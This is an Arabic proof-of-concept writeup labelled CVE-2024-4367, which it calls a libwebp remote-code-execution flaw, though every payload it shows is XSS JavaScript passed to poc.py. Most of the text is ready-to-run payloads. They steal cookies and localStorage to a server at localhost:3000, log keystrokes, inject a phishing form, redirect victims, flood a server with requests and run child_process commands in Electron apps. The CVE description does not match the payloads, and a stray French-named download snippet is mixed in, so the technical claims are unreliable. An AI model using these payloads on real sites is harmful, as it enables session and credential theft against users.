
PoC (إثبات المفهوم) الخاص بـ CVE-2024-4367 - ثغرة RCE في libwebp. عرض توضيحي كامل يتضمن: إنشاء الحمولات (payloads)، سيناريوهات الهجوم، تحليل المخاطر، وخادم اختبار Express.js.
مثال آخر على الاستغلال يتمثل في حقن رسالة تنبيه بسيطة للتحقق من نجاح الهجوم.
python poc.py "alert('XSS exploit triggered');"
يمكن استخدام هجوم XSS لسرقة ملفات تعريف الارتباط الخاصة بالضحية وإرسالها إلى خادم خبيث.
python poc.py "fetch('http://localhost:3000/cookie', {method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({cookie: document.cookie})});"
http://localhost:3000/cookie).يمكن للمهاجم سرقة معلومات حساسة مخزنة في localStorage الخاص بالضحية، مثل بيانات المصادقة أو معلومات الجلسة.
python poc.py "fetch('http://localhost:3000/localstorage', { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({localstorage: JSON.stringify(localStorage)})});"
localStorage ويرسلها إلى خادم خبيث عبر طلب fetch.يمكن للمهاجم إعادة توجيه الضحية إلى موقع خبيث لجمع معلومات إضافية أو تحميل استغلال آخر.
python poc.py "window.location.href='http://localhost:3000';"
نوع آخر من الهجمات يتمثل في إغراق خادم بالطلبات، مما قد يؤدي إلى تدهور الأداء أو انقطاع الخدمة.
python poc.py "for (let i = 0; i < 100; i++) { fetch('http://localhost:3000/api'); }"
يمكن للمهاجم اعتراض ضغطات لوحة مفاتيح الضحية، مما يتيح له الحصول على معلومات حساسة مثل كلمات المرور أو أسماء المستخدمين.
python poc.py """document.addEventListener('keydown', function(e) {
fetch('http://localhost:3000/keylogger?key=' + e.key);
});"""
يمكن للمهاجم استخدام XSS لحقن نموذج تصيد في صفحة ويب وبالتالي سرقة معلومات حساسة (مثل: كلمة المرور، اسم المستخدم).
python poc.py """
var form = document.createElement('form');
form.method = 'POST';
form.action = 'http://localhost:3000/phishing';
var input = document.createElement('input');
input.type = 'text';
input.name = 'username';
form.appendChild(input);
document.body.appendChild(form);
form.submit();
"""
إذا كان المستخدم على وشك النقر على زر تنزيل، فسنقوم بتغيير وجهة التنزيل.
const a = document.createElement('a');
a.href = "https://example.com/fichier.pdf";
a.download = "fichier.pdf";
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
python poc.py "require('child_process').exec('calc.exe')"
يمكن أيضًا أن تتأثر التطبيقات المبنية على أطر عمل مثل Electron أو NW.js بهجمات XSS، لأنها تتيح دمج محتوى الويب في تطبيقات سطح المكتب بصلاحيات وصول محلية موسعة.
هذه التطبيقات، نظرًا لصلاحياتها، يمكن أن تسمح للمهاجم بالوصول إلى ملفات محلية، أو تنفيذ عمليات خارجية، أو حتى تشغيل تطبيقات أخرى على الجهاز المستهدف (على سبيل المثال، الآلة الحاسبة، محرر نصوص، وما إلى ذلك). وهذا يزيد من سطح الهجوم بشكل كبير، حيث تجمع هذه التطبيقات بين قوة الويب وصلاحيات وصول أوسع إلى النظام.
يمكن للهجمات التي تستغل ثغرات CVE (Common Vulnerabilities and Exposures) أن تتيح تنفيذ أنواع مختلفة من هجمات XSS. فمن خلال استغلال ثغرات محددة في تطبيقات الويب أو تطبيقات سطح المكتب، يمكن للمهاجم حقن تعليمات برمجية خبيثة، أو سرقة معلومات حساسة، أو التلاعب بجلسات المستخدم، أو تنفيذ إجراءات خبيثة على النظام المستهدف.